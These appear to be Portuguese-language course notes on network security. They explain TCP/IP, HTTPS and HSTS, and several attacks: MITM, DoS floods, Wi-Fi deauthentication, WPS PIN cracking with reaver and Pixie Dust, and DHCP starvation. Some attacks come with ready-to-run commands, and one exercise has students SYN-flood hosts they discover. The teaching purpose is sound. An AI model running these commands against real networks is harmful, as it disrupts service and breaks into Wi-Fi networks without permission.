* [Aula 6: Deauthentication Attack em Redes Wi-Fi](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-6-Deauthentication-Attack-em-Redes-Wi-Fi)
* [Aula 7: WPS, PIN codes, Reaver e Pixie Dust](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-7-WPS-PIN-codes-Reaver-e-Pixie-Dust)
* [Aula 8: DHCP Exhaustion/Starvation](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-8-DHCP-ExhaustionStarvation)

#### Ficando Atualizado (ou "Sempre na Crista da Onda")

* [Blog de segurança da Mozilla](https://blog.mozilla.org/security/)

#### MISC

* Diferença entre Roteador e Access Point

#### ATAQUES

* **MITM**
* **Spoofing**
  * Mac changer
  * IP spoofing
  * ARP spoofing
  * DNS spoofing/poisoning
* **DoS**
  * SYN flood
  * ICMP flood
  * DHCP starvation
  * Rogue DHCP
* **Botnet**
  * Malwares
  * LOIC
  * HOIC
* **Wifi**
  * WPS PIN brute forcing
  * Deauth
* **Website cloning**

#### FERRAMENTAS

* Nmap
* Bettercap
* Wifi Pumpkin
* Reaver, Wash, Pixie Dust
* Linset
* Fake ap
* Wi-filax

## Aula 1: Introdução -- Protocolos, TCP/IP, NAT, Endereçamento

* Protocolos
  * Walkie talkie ("câmbio", "copiei")
  * SUS (coleta de dados > triagem > médico)
  * Protocolos vs Protocolos de comunicação
  * Protocolo Walkie talkie: independente da pessoa/equipamento de walkie talkie
  * Ideia: hardwares/softwares diferentes mas que conseguem se comunicar
  * RFC (Request For Comments): IETF (Internet Engineering Task Force)
    * Documento
    * Dúvida: Qualquer um pode fazer parte da IETF?
      * <https://www.ietf.org/about/participate/>
      * <https://www.ietf.org/about/participate/get-started/>
      * <https://www.ietf.org/about/participate/tutorials/>
* IP: Internet Protocol
  * Host to Host (máquina a máquina)
  * Semântico (!= do MAC) e hierárquico (País > Estado > Cidade > Rua > Número)
  * Semântica ajuda nos protocolos de roteamento
  * Octeto
  * Máscaras de Sub-rede
    * Classes
    * Historinha dos IPs perdidos
    * Ex: calcular máscara
    * Ex: calcular número de hosts/redes
    * Dúvida: Por que preciso de mais bits pra rede?
  * Endereço de Rede (192.168.32.2/24 => 192.168.32.0)
    * Bits de host zerados
    * Dúvida: Pra que serve isso?
  * Endereço de Broadcast (192.168.32.2/24 => 192.168.32.255)
    * Bits de host settados
    * Dúvida: Pra que serve isso? Fazer Broadcast!
    * Ex: Ping broadcast
  * IP não garante que o destino recebeu o pacote!!
  * IPv5
  * DHCP
  * Alternativas ao IP
  * Tooling: nmap (network scan => descobrir hosts ativos na rede), IP spoofing

192 .168 .254 .128 /24 11000000 10101000 11111110 11111110 RRRRRRRR RRRRRRRR RRRRRRRR HHHHHHHH (24) 11111111 11111111 11111111 00000000 255 .255 .255 .0 /??

* TCP
  * Processo a processo/Inter-process communication (programa a programa)
  * Portas
  * Conexão (definida por um par de sockets)
  * Socket (???)
  * Número de série (garantir recebimento do pacote)
  * Dúvida: o que é um socket 'listening'? (netcat)
  * Three-way handshake (limite de conexões, hping3)
    * Todo pacote do TCP deve ter um ACK correspondente (INCLUSIVE O SYN)
    * SYN, SYN/ACK, ACK
    * Outros tipos de pacotes: FIN, RES, etc.
    * Curiosidade: Four-way handshake
  * NAT (Network Address Translation)
    * Várias máquinas atrás do mesmo endereço
    * Diferenciação pela porta
    * Ex: Call of Duty
  * Tooling: nmap (portscan), hping3 (connection flood), netcat (nc, ncat,...)

#### Segurança

* IP spoofing
* MITM/MITMA/MIM (Man in the Middle Attack)
* Connection flood
* Portscanning

#### Exercícios

* Nmap: Descobrir hosts conectados em alguma rede (<https://resources.infosecinstitute.com/nmap/>) e fazer um SYN flood nele com hping3
* Echo Server (python, socket.socket)/Client
* Xtra2: Ip spoofing
* Xtra3: Traceroute (o que é, como fazer)

## Aula 2: Bettercap, MITM e Spoofing

* What is monitor mode? How do I read packets of networks I don't have access to?
* Interactive vs Non-interactive
  * '-eval'
  * '-caplets'
* Ticker: deamonizing commands
  * ticker.&#x20;
  * ticker.period
* ARP spoofing
  * Spoofs gateway by default (can be deactivated)
  *
* Sniffer
  \*
* HTTP proxy (redirect http traffic)
* SSLStrip

### MITM (Man in the middle)

Um ataque man in the middle (lit. homem no meio) é feito visando a enganar o computador da vítima a pensar que o atacante é o roteador (ou outro dispositivo / serviço pelo qual passem informações sensíveis) e também enganar o roteador (ou dispositivo / serviço... sensíveis) e fazê-lo pensar que o atacante é a vítima. Desse modo, todo o tráfego de dados passará pelo computador do atacante, e a conexão não será rompida. Portanto, o ataque é transparente ao uso cotidiano.

* Materiais:
  * Bettercap cheat sheet: <https://www.cyberpunk.rs/bettercap-usage-examples-overview-custom-setup-caplets>
  * Bettercap tutorial (gostei mais): <https://www.kalitut.com/2019/04/how-to-install-and-use-bettercap.html#point3>

## Aula 3: DoS, DDoS, ADoS e Slow Lorris

#### DoS (Denial of Service)

Um ataque DoS visa impedir o acesso a determinado recurso ou serviço.

* Exemplos: excluir um arquivo (negação de acesso ao arquivo); impedir conexões em um servidor

No caso de impedir conexões em um servidor alvo, deve-se inundar ("floodar") o tráfico de Internet dele. Normalmente, isso é feito por meio do envio de muitas requisições ao servidor, superando sua capacidade de receber novas conexões. Nesse sentido, podemos pensar que o servidor é uma grande avenida que se encontra com um trânsito de carros muito grande. Esse excesso de tráfego torna a entrada de outro veículo na avenida praticamente impossível.

Um jeito simples de fazer tal ataque é mandar uma requisição de conexão ou um ping com frequência superior a capacidade de processamento dessas requisições por parte do servidor.

* Resolver esse ataque é simples: basta fazer blacklist do IP do atacante.

#### DDoS (Distributed DoS)

Enquanto o ataque DoS parte de uma única máquina, o DDoS faz uso de múltiplos dispositivos conectados à Internet (computadores, dispositivos IoT, celulares etc.). Dessa forma, o ataque torna-se mais eficiente. Os dispositivos utilizados no ataque podem estar participando por boa vontade ou podem ser parte de uma **botnet**.

* Os dispositivos que formam uma botnet foram infectados por algum malware que dá ao atacante ("dono" do malware) controle remoto sobre cada um deles.

Resolver um DDoS já bem mais difícil, pois as requisições estão vindo de diversos dispositivos (IPs diferentes), fazendo com que o ataque pareça tráfego normal.

#### (D)DoS Refletido (Reflection DoS)

O atacante envia pacotes (ping ou alguma outra requisição) para um servidor (chamado de refletor) pedindo que o pacote seja repassado para outro IP, o do verdadeiro alvo.

* Esse ataque spoofa o IP do atacante, pois passa pelos servidores refletores.

Caso o ataque parta de uma máquina, resolvê-lo é simples, pois a banda de um servidor tende a ser muito maior do que a de um computador pessoal. Entretanto, esse ataque também pode ser um DDoS.

#### ADoS (Amplified DoS)

Nesse ataque, faz-se uso de requisições spoofadas para servidores mal-configurados. Uma certa quantidade de pequenas requisições com o IP spoofado do servidor alvo é enviada para servidores acessíveis. Os servidores respondem para o IP do alvo com pacotes muito maiores (amplificados), floodando o serviço de forma muito mais fácil.

Pode-se amplificar o ataque usando um comando de EDNS0, que aumenta o tamanho do pacote de resposta (até 70 vezes maior), ou usando o comando mullist do protocolo NTP, que aumenta o tamanho do pacote de 20 a 200 vezes.

ADoS não são triviais de serem resolvidos, o melhor jeito é blacklist todos os servidores envolvidos no ataque e esperar passar.

#### Memcached DDoS

**O sistema memcached:**

Memcached é um cache "in-memory" bem veloz usado para acelerar aplicações web dinâmicas, aliviando o carregando a partir de bases de dados. Por exemplo, uma aplicação manda uma requisição para o servidor memcached antes de mandar para um bando de dados. O servidor memcached armazena respostas de requisiões comuns, portanto, se ele tem a resposta para a requisição feita, o banco de dados sequer é acessado. Do contrário, o memcached responde que não tem o conteúdo e uma requisição é enviada ao banco de dados. Além disso, a memória "sobrando" em certas partes do sistema Memcached é disponibilizada para áreas nas quais falta memória (isso aumenta virtualmente a quantidade de cache disponível)

**O ataque:**

O ataque funciona da mesma forma que um ADoS. Ele só é possível pois os servidores memcached, por padrão, operam usando o protocolo UDP. Logo, como não há handshake, dados podem ser enviados ao servidor alvo sem o real consentimento dele.

São enviadas requisições spoofadas (com o IP do servidor alvo) para o servidor memcached, que responderá com pacotes de tamanhos muito maiores ao alvo, floodando-o e impedindo que ele processe outras requisições.

Para defender-se: desabilite UDP no servidor memcached e use firewall.

#### Slow Lorris e R.U.D.Y.

Outra maneira de atacar servidores é usando ataques de protocolo (camadas 3 e 4 do modelo OSI), como o Slow Lorris e o R.U.D.Y.

Ambos esses ataques consistem no estabelecimento de conexões com o servidor e no envio extremamente lento (e constante) dos bytes de cada pacote, utilizando pouca banda e mantendo todas as conexões abertas.

* Slow Lorris faz uso de requisições do tipo HTTP GET
* R.U.D.Y. faz uso de requisições do tipo HTTP POST

Se feito corretamente, um computador "caseiro" pode parar um servidor comercial sozinho.

#### SYN Flood

É o ataque explora o funcionamento do TCP para estabelecer conexões(o three-way handshake).

No handshake, o servidor fica esperando um pacote de confirmação (ACK packet) para estabelecer a conexão. Portanto, o atacante envia muitos pacotes SYN (e nenhum pacote ACK!), fazendo com que o servidor fique esperando a confirmação de cada conexão (que nunca chega). Assim, o servidor torna-se incapaz de abrir uma conexão real pelo número de requisições em aberto.

Uma possível solução é realizar uma filtragem dos pacotes.

#### ICMP (Ping) Flood

É o ataque que utiliza ping (echo) requests. Use-se o protocolo ICMP, que exige um consumo de banda para envio e para resposta. O objetivo é sobrecarregar o alvo por meio do envio de muitas requisições ICMP - obrigando o servidor a responder a todas -, superando sua capacidade de responder a conexões.

Para evitar esse ataque, é possível desativar a funcionalidade ICMP do servidor, impedindo o envio de requisições ping ou traceroute.

#### DNS Flood

Esse ataque visa floodar servidores DNS (os "DNS resolvers"), impedindo que haja resoluções DNS - comprometendo, portanto, a capacidade do servidor alvo de responder à tráfego legítimo (a não ser que a pessoa utilize IPs para conectar-se a algum endereço).

Esse ataque requer muita banda para ser efetivo.

#### Materiais Adicionais

* [Material geral sobre DDoS (Cloudflare)](https://www.cloudflare.com/learning/ddos/what-is-a-ddos-attack/)
* [Como fazer DDoS (Cloudflare)](https://www.cloudflare.com/learning/ddos/ddos-attack-tools/how-to-ddos/)
* [Código pra fazer Slow Loris](https://github.com/gkbrk/slowloris)
* [Outro código pro Slow Loris, em Go](https://github.com/valyala/goloris)
* [SYN Flood (Phrack Magazine)](http://phrack.org/issues/48/13.html#article)
  * **Obs:** Se você não conhece a Phrack, é muito importante tanto para cultura hacker/histórico quanto sobre conteúdo de primeira em geral
* [SYN Flood (RFC 4987)](https://tools.ietf.org/html/rfc4987)
* [Memcached](https://memcached.org/about)
  * [Vídeo explicando o funcionamento do memcached ](https://www.youtube.com/watch?v=1MAgt0bFdwM)

## Aula 4: SSL/TLS, HTTP/HTTPS e HSTS

#### HTTP: HyperText Transfer Protocol

* Protocolo usando para transmitir HTML via internet
* Não usa criptografia alguma (tudo em texto plano)
* HTTPS: HTTP uasndo criptografia (SSL/TLS)

#### Certificados e Unidades Certificadoras (CAs)

HTTPS funciona primariamente baseado em **confiança**, ou seja, é preciso confiar no servidor com o qual você está falando. Para isso, SSL/TLS são equipados com *certificados*.

Certificados são documentos assinados por instituições em quem o cliente confia *a priori*: as **Autoridades Certificadoras (CAs)**. Esses documentos garantem que o servidor com o qual um determinado cliente está falando é confiável e, mais, que é ele mesmo (não uma cópia feita por um atacante).

Para ilustrar isso melhor imagine que Merindrola é o site que quer "provar" para o cliente Marcelo (popularmente conhecido como 'Batatinha') que ela é um site leígitimo e não uma cópia. Batatinha é grande amigo do Carlos (a Autoridade Certificadora), e confia 100% nele. O que acontece quando uma Autoridade Certificadora assina um certificado de um servidor é equivalente a Carlos dizendo a Batatinha que Merindrola é parça (morô?).

**CSR (Certificate Signing Request):** Requisição feita do servidor para a CA para que seja emitido um certificado para o a aplicação.

**Self-Signed Certificate:** Certificado assinado por uma "Autoridade Certificadora" criada pelo próprio site/app (nada seguro, deve ser usado somente para testes)

**Obs.:** Veja o vídeo nos materiais adicionais sobre Certificados e Autoridades Certificadoras.

#### HSTS: HTTP Strict Transport Security

* Política de segurança para garantir obrigatoriedade no uso de HTTPS
* Na prática, HSTS é nada mais que um header contido na resposta do servidor ao cliente
* Quando um cliente recebe alguma resposta do servidor com o header `Strict-Transport-Security` significa que todos os requests feitos para o servidor após aquele deverão usar HTTPS (nunca HTTP) por um certo período de tempo
* Header `Strict-Transport-Security`
  * `max-age`: tempo em segundos da validade do HSTS (em segundos)
  * `includeSubDomains`: todos os subdomínios também só poderão ser acessados por HTTPS

#### Vulnerabilidades no HSTS

* O primeiro pacote mandado pelo cliente ainda usa HTTP, pois é o servidor que deve especificar, através do header HSTS, a obrigatoriedade do HTTPS. Portanto, é ainda possível estabelecer o SSL Stripping, mas somente na interceptação do primeiro request feito em HTTP pelo cliente.
* *"Because HSTS is time limited, it is sensitive to attacks involving shifting the victim's computer time e.g. using false NTP packets."* (Wikipedia)

#### Atacando HSTS

* [NSE script (script do Nmap) para verificar o uso de HSTS em domínios](https://github.com/icarot/NSE_scripts/blob/master/http-hsts-verify.nse)
* [BlackHat Conf: Bypass HSTS](https://www.youtube.com/watch?v=eLhb4jZuv6M)
* [Ferramenta MITM para alterar o relógio do SO através do NTP (fazer parecer que o HSTS expirou)](https://github.com/PentesterES/Delorean)
* [Modern MITM attacks](https://maxpl0it.com/modern-man-in-the-middle-attacks/)

#### Materiais Adicionais:

* [Vídeo sobre certificados e CAs em HTTPS](https://www.youtube.com/watch?v=T4Df5_cojAs)
* [Página da Wikipedia sobre HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
* [Vídeo básico HSTS e HTTP](https://www.youtube.com/watch?v=zEV3HOuM_Vw)
* [OWASP HSTS Guide](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)
* [Como funciona a Preload list do Firefox (Mozilla sec blog)](https://blog.mozilla.org/security/2012/11/01/preloading-hsts/)
* \[Listas de Preload do Firefox]\(<https://wiki.mozilla.org/SecurityEngineering/HTTP_Strict_Transport_Security_(HSTS)_Preload_List>)
* [Teste de sites que contêm HSTS Preload](https://hstspreload.org/)
* [Definição do header HSTS (Mozilla Developer Network)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security)
* [RFC do HSTS (RFC 6797)](https://github.com/GANESH-ICMC/Introducao-a-Seguranca-Digital/tree/903dd7e9d77755234289ef3c8e78dceeec70ce48/Redes/tools.ietf.org/html/rfc6797/README.md)
* [OWASP Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)

## Aula 5: Coisas importantes que você precisa saber sobre a Internet

#### Internet vs Web

A primeira coisa que precisamos entender é que Internet e Web são coisas diferentes. Acredite se quiser, existiu um tempo em que a Internet existia mas a Web não -- mais precisamente, de 1969 até 1989.

Internet é a rede mundial de computadores, trata-se da *infraestrutura*: cabos, roteadores, protocolo IP (*Internet* Protocol). Tudo isso forma a internet.

A Web, ou World Wide Web, é uma *aplicação distribuída que usa a infraestrutura da internet*. É o conjunto de servidores web (servidores HTTP/HTTPS) e clientes web (browsers, curl, etc.) que trocam páginas HTML. Quando ouvir falar de Web, pense em páginas HTML (hoje em dia vêm acompanhadas de JavaScript e CSS), protocolos HTTP e HTTPS.

#### Protocolos na prática

* sockets
* portas TCP
* portas UDP

#### APIs (Application Programming Interfaces)

São interfaces, conjuntos de padrões de ações, entradas e saídas, para interação de clientes com servidores. A grande vantagem das APIs é que elas abstraem chamadas de funções em um servidor.

Por exemplo, imagine que a Merindrola quer fazer um site para mostrar informações sobre o clima na cidade dela: São Carlos (SP). Ela então vai no site do INPE e descobre como funciona a API deles. A [API do INPE](http://servicos.cptec.inpe.br/XML/) é razoavelmente simples, vamos pegar como exemplo a previsão do tempo dos próximos 4 dias: 1. Você manda para eles [uma requisição](http://servicos.cptec.inpe.br/XML/#req-previsao-4-dias) com o código da localidade ([encontrado aqui](http://servicos.cptec.inpe.br/XML/listaCidades)):

```
    http://servicos.cptec.inpe.br/XML/cidade/codigo_da_localidade/previsao.xml
```

1. Achado o código, que no caso da Merindrola é 4774, fazemos uma requisição GET na url (aqui, vamos usar o `wget` para exemplificar):

   ```
    $ wget http://servicos.cptec.inpe.br/XML/cidade/4774/previsao.xml
   ```
2. Temos como retorno um arquivo, nesse caso é `XML`, mas poderia ser `JSON`, que é mais comum atualmente:

   ```
    <?xml version='1.0' encoding='ISO-8859-1'?><cidade><nome>S�o Carlos</nome><uf>SP</uf><atualizacao>2019-10-02</atualizacao><previsao><dia>2019-10-02</dia><tempo>ps</tempo><maxima>33</maxima><minima>17</minima><iuv>11.0</iuv></previsao><previsao><dia>2019-10-03</dia><tempo>ps</tempo><maxima>32</maxima><minima>20</minima><iuv>10.0</iuv></previsao><previsao><dia>2019-10-04</dia><tempo>ps</tempo><maxima>32</maxima><minima>17</minima><iuv>11.0</iuv></previsao><previsao><dia>2019-10-05</dia><tempo>ps</tempo><maxima>33</maxima><minima>20</minima><iuv>11.0</iuv></previsao></cidade>
   ```
3. O arquivo pode parecer confuso, mas como tudo relacionado a APIs, ele segue um *padrão* e, claro, esse padrão está especificado também na [página do INPE](http://servicos.cptec.inpe.br/XML/#res-previsao-4-dias).
4. Finalmente, Merindrola pode *parsear* esses dados e fazer seu site lindamente.

Existem vários jeitos de se fazer uma API, vamos falar sobre dois padrões famosos de APIs: SOAP e REST.

#### SOAP vs REST

* **SOAP (Simple Object Access Protocol)** é um protocolo de troca de informações para serviços web. APIs que fazem uso desse protocolo utilizam XML para se comunicar. Uma característica do SOAP é que ele pode ser utilizado com a maioria dos protocolos de transporte, como HTTP, SMTP, TCP etc.
* **REST (Representational State Transfer)** é uma estilo de arquitetura para serviços web. APIs que fazem o uso dessa arquitetura são chamados APIs RESTful. Seu protocolo de transporte é necessariamente HTTP/HTTPS e APIs RESTful podem utilizar diferentes formas de transferncia de dados, como JSON, XML e YAML. Ela segue 6 princípios:
  * Arquitetura cliente-servidor
  * Sem monitoramento de estado
  * Capacidade de cache
  * Sistema em camadas
  * Código sob demanda (opcional)
  * Interface uniforme

#### Materiais adicionais

* [Post do medium super legal com introdução a flask](https://medium.com/@onejohi/building-a-simple-rest-api-with-python-and-flask-b404371dc699)
* [Palestra sobre decorators em Python (PyData)](https://www.youtube.com/watch?v=cKPlPJyQrt4)
* [Mais sobre APIs](https://www.redhat.com/pt-br/topics/api/what-are-application-programming-interfaces)
* [Mais sobre SOAP vs REST](http://www.matera.com/blog/post/rest-usa-json-e-soap-usa-xml-certo)
* [Especificações do SOAP v1.2](https://www.w3.org/TR/soap12/)
* [Sobre REST e JSON](http://www.matera.com/blog/post/rest-nao-e-json)

## Aula 6: Deauthentication Attack em Redes Wi-Fi

#### Protocolo 802.11

O protocolo 802.11 é o que se conhece por wifi. Ele especifica como a informação deve ser organizada ao ser transmitida de uma placa de rede para outra.

![](https://community.cisco.com/legacyfs/online/legacy/7/2/1/90127-2.png)

Esse ataque se utiliza de uma falha de segurança (ou feature ?) nos pacotes 802.11 onde os pacotes do tipo "Deauthenticate"

#### Informações importantes

É importante estar familiarizadx com a maneira pela qual as interfaces de rede, bem como os modos de operação de placas de rede sem fio (managed e monitor).

#### O ataque

Primeiramente devemos iniciar uma interface em modo monitor.

```
# iw list
```

O comando

```
# iw dev wlan0 interface add mon0 type monitor
```

irá adicionar uma interface virtual funcionando em modo monitor. Podemos comprovar isso com

```
# ifconfig
```

que agora deve listar a nova interface.

Agora utilizaremos alguns programas da suite -ng.

```
# airodump-ng mon0
```

faz uma varredura dos canais suportados atualmente pela placa de rede (de acordo com a configuração de país ???), e mostra um sumário de cada BSS e suas respectivas estações conectadas. É possível utilizar argumentos de filtro caso necessário.

Com nosso alvo escolhido, isto é, seu BSS ou BSS + MAC encontrados, podemos começar o ataque. O seguinte comando irá enviar pacotes de desautenticação como se fosse o BSSID especificado. É possível passar o MAC da estação de destino também, com a flag -c

```
# aireplay-ng -0 0 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx
```

#### Troubleshooting

* "Meu aireplay não vai"

  Verifique se o canal da interface é o mesmo do BSS
* "Device is busy ou algo do tipo"

  Se você adicionou uma interface virtualmente, ela funciona de modo mutex com a interface real. Desative a wlan0 da vida com

  ```
  # ifconfig wlan0 down
  ```

#### Materiais adicionais

* [Pacotes 802.11](https://www.liveaction.com/docs/glossary/wireless-lan-802-11-wlan/packet-types/)

## Aula 7: WPS, PIN codes, Reaver e Pixie Dust

Um mecanismo ainda razoavelmente comum em redes wi-fi é a presença de **Wi-fi Protected Setup (WPS)**. No entanto, essa técnica permite fazer ataques muito simples para se quebrar a senha de uma rede Wi-fi.

#### WPS: Wi-fi Protected Setup

O WPS foi criado com o intuito de facilitar configuração e conexão de hosts em redes wi-fi usando apenas um código numérico de 8 dígitos: o **PIN code**. Cada rede wi-fi com WPS habilitado (WPS-enabled wi-fi) possui um único PIN code, e é possível se conectar nela ou pela senha (normalmente), ou passando o PIN code para o Access Point.

Existem três agentes importantes no WPS, são eles: **o Access Point (ou AP)**, o **Enrollee** (quem quer se conectar), e o **Registrar** (a entidade responsável por dar ou revogar acesso à rede). Em geral, o Registrar nada mais é do que um software rodando no AP, mas é importante salientar que ele pode estar em um outro dispositivo.

**Obs:** WPS independe do método de autenticação da rede wi-fi. Por exemplo, é possível ter uma rede WPA cujo método de autenticação é Pre-Shared Key (PSK), ou seja, uma rede WPA/PSK, que mesmo assim utilize WPS para facilitar a configuração e futuras conexões na rede.

#### O problema com WPS

O PIN code é composto por 8 dígitos numéricos, sendo que o último desses dígitos é um *checksum* dos 7 anteriores. Quando um Enrollee quer se conectar na rede usando um PIN code, ele precisa seguir todo o protocolo WPS, que em geral envolve 7 mensagens (de M1 a M7):

![](https://i.imgur.com/ehdAIZT.png)

![](https://i.imgur.com/LIrh2zP.png)

Se, apos enviarmos a mensagem M4, a primeira metade do PIN code estiver incorreta, recebemos um NACK. Da mesma maneira, se enviarmos a primeira metade do PIN correta mas a segunda incorreta, recebemos um NACK após M6. Isso torna possível fazer um ataque de força bruta em que enviamos todas as possibilidades da primeira metade do PIN (de 0000 até 9999). Depois de acertarmos a primeira metade do PIN, repetimos o processo para a segunda metade. No entanto, como o último dígito do PIN é um checksum (ou seja, apenas uma conta feita com os primeiros 7), basta chutarmos 3 dígitos nessa parte (de 000\[checksum] até 999\[checksum]).

#### Primeiro ataque: Reaver

O `reaver` é uma ferramenta que vem por padrão junto com o Kali e serve justamente para realizar o brute force (*online*) descrito acima. No pacote do `reaver` do Arch vem também o `wash`, que nos permite listar todas as redes wi-fi próximas com WPS habilitado.

```
$ sudo wash -i <sua interface wireless>
$ sudo wash -i wlan0

BSSID               Ch  dBm  WPS  Lck  Vendor    ESSID
--------------------------------------------------------------------------------
7C:05:07:F6:EE:84    1  -90  2.0  No   Broadcom  HAL_9000
D4:B9:2F:2B:9D:2A    1  -92  2.0  No   Broadcom  2.4G_gobbs
```

Nesse exemplo, encontramos duas redes: `HAL_9000` e `2.4G_gobbs`. Vamos agora atacar a primeira delas (`HAL_9000`) usando o `reaver`:

```
$ sudo reaver -i <sua interface wireless> -b <BSSID do alvo> -vv
$ sudo reaver -i wlan0 -b 7C:05:07:F6:EE:84 -vv
```

#### Segundo ataque: Pixie Dust

A implementação desse ataque se baseia em uma falha de implementação da geração de números pseudo aleatórios (PRNG) em vários APs, gerando PRN inseguros.

Na mensagem M1, que o Enrolee envia para o quem quer se conectar, um número (Nonce) é passado. E na mensagem M3, é enviado E-Hash1 (hash para a primeira mensagem do pin) e a E-Hash2 (hash para segunda metade do pin).

O problema nessa implementação é que Nonce, e as chaves que geram E-Hash1 e E-Hash2 (chamadas, E-S1 e E-S2) são geradas em sequência. Nesse sentido, se usarmos força bruta para descobrir o state do PRNG, poderemos gerar E-S1 e E-S2 a partir de Nonce. Em seguida, chutamos Pin1 e Pin2.

Utilizaremos o `reaver` novamente para o Pixie Dust. Para isso, basta usar o comando anterior, mas com a flag `-K 1` (note o espaço entre `-K` e `1`.

```
$ sudo reaver -i wlan0 -b 7C:05:07:F6:EE:84 -vv -K 1
```

#### Materiais adicionais

* [Ataque Pixie Dust (Dominique Bongard)](https://web.archive.org/web/20160320164624/https://passwordscon.org/wp-content/uploads/2014/08/Dominique_Bongard.pdf)
* [Wi-fi Protected Setup (Wikipedia)](https://en.wikipedia.org/wiki/Wi-Fi_Protected_Setup)
* [Hostapd e WPS](https://w1.fi/cgit/hostap/plain/hostapd/README-WPS)
* [Especificação do WPS (Wi-fi Alliance)](https://www.google.com/url?sa=t\&rct=j\&q=\&esrc=s\&source=web\&cd=12\&ved=2ahUKEwjRmPuH_pTlAhXkDrkGHb-mAjoQFjALegQIARAC\&url=http%3A%2F%2Fcfile28.uf.tistory.com%2Fattach%2F16132E3C50FCFFCB3EC74E\&usg=AOvVaw1qku-2deouZtsbCKevTQPP)
* [Melhores práticas em WPS (Wi-fi Alliance)](https://www.google.com/url?sa=t\&rct=j\&q=\&esrc=s\&source=web\&cd=1\&cad=rja\&uact=8\&ved=2ahUKEwixorfz_5TlAhWgGLkGHVJvDGsQFjAAegQIARAC\&url=https%3A%2F%2Fwww.wi-fi.org%2Ffile%2Fwi-fi-simple-configuration-protocol-and-usability-best-practices-for-the-wi-fi-protected-setup\&usg=AOvVaw3-aY3gcJUGkQBmuFaJw2Od)

## Aula 8: DHCP Exhaustion/Starvation

Imagine que nossa heroína, Merindrola, acabou de chegar na sua casa e quer conectar o celular dela na rede Wi-Fi. Você então ajuda a nossa nobre salvadora dos exemplos didáticos e dá a senha da rede, ela digita no celular e...

E daí? O que acontece depois?

Você deve saber que a grande maioria das redes atualmente usam o protocolo IP, seja ele v4 ou v6, e que para que dois *hosts* consigam conversar usando esse protocolo cada um deles dever ter um endereço IP, mesmo que privado (tipo `192.168...`). Então, o que acontece quando a Merindrola se conecta na sua rede é que ela precisa saber **(1)** qual o IP do roteador, que chamaremos de *gateway*, para o qual ela vai encaminhar pacotes para redes externas, **(2)** qual o endereço do servidor DNS que ela deve usar quando quiser resolver nomes e, finalmente, **(3)** qual o endereço IP que o celular dela deve usar, de maneira que seja único e respeite as restrições da rede (máscara, bits de rede e de host, etc.).

#### DHCP: Dynamic Host Configuration Protocol

O DHCP é o protocolo que facilita tudo isso, de forma que não seja preciso que cada um dos usuários da rede configurem manualmente todas essas variáveis. Se houver um servidor DHCP na rede, qualquer host conseguirá informações básicas de configuração automaticamente.

A figura abaixo, retirada do RFC da especificação do DHCP, ilustra o processo de descoberta do servidor DHCP e aquisição das configurações de um cliente em uma rede onde há dois servidores DHCP.

**1. DHCP DISCOVER:** O cliente recentemente conectado na rede envia um pacote no endereço de *broadcast* procurando algum servidor DHCP.

**2. DHCP OFFER:** Dois servidores localizados na rede geram configurações para o cliente e as enviam diretamente para ele. Daqui em diante mais nenhuma mensagem é trocada no endereço de broadcast.

**3. DHCP REQUEST:** Cliente responde para apenas um dos servidores, indicando que ele escolheu as configurações daquele servidor.

**4. DHCP ACK:** Servidor escolhido responde ao DHCP REQUEST, indicando que ele o recebeu e reservou as configurações para aquele cliente.

**5. DHCP RELEASE:** Finalmente, ao se desconectar, o cliente responde com uma mensagem liberando aquelas configurações, para que outro *host* consiga usá-las no futuro.

![](https://i.imgur.com/Qd8uNIk.png)

#### DHCP Pools

Nos servidores DHCP existem *pools*, ou piscinas, de endereços IP. Estas contêm todos os IPs da faixa de endereços que o servidor pode distribuir para os clientes.

A vantagem de se ter diferentes *pools* é que é possível reservar faixas de IPs para determinados tipos de dispositivos. Por exemplo, todos os celulares ocuparão uma determinada faixa, ou todos os dispositivos da gerência ocuparão uma faixa específica.

### O ataque

Como vimos, a faixa de IPs de uma DHCP pool é limitada. O ataque que faremos, o **DHCP Starvation/Exhaustion/Depletion**, busca fazer com que o computador do atacante se passe por diversos clientes distintos e, dessa forma, faz com que ele seja capaz de reservar toda a faixa de IPs disponíveis na DHCP pool. Os demais clientes ficarão sem conseguir obter um endereço IP e não conseguirão se comunicar na rede.

Se você está pensando que esse ataque é muito parecido com o DoS (Denial of Service), é porque ele é, de fato, um tipo de DoS.

*Se não sabe o que é um DoS, leia a* [*Aula 4: DoS, DDos, ADoS e Slow Lorris*](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-3-DoS-DDoS-ADoS-e-Slow-Lorris)*.*

#### Motivação

Em sequência a esse ataque, geralmente o atacante fará outro ataque, e esse sim pode causar danos reais.

Um ataque que comumente segue após o **DHCP Starvation** é um do tipo **MITM (Man In The Middle)** chamado **Rogue DHCP** (Se não sabe o que é MITM, leia a aula [Aula 2: Bettercap, MITM e Spoofing](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-2-Bettercap-MITM-e-Spoofing)).

O ataque Rogue DHCP (DHCP intruso) consiste em, após esgotar todos os IPs livres no servidor DHCP legítimo, subir outro servidor DHCP, dessa vez controlado pelo atacante.

Como o servidor legítimo não possui IPs livres, pode ser que a implementação dele não responda com **DHCP OFFER** os **DHCP DISCOVERs** enviados, deixando o caminho livre para o atacante oferecer o "serviço de DHCP" dele.

Nesse cenário, o servidor malicioso pode oferecer uma configuração em que o endereço do *gateway* seja o computador do atacante. Desse modo, o ataque segue justamente como um MITM tradicional visto na *Aula 2* (usando ARP Spoof).

A fins de ilustração, uma das possíveis consequências é a leitura de pacotes sem protocolo de criptografia, de modo a expor dados como nomes de usuário, senhas, números de cartão de crédito, etc... (por exemplo, uma conexão com um site por HTTP em vez de HTTPS não possui criptografia e pode ser lida por um MITM).

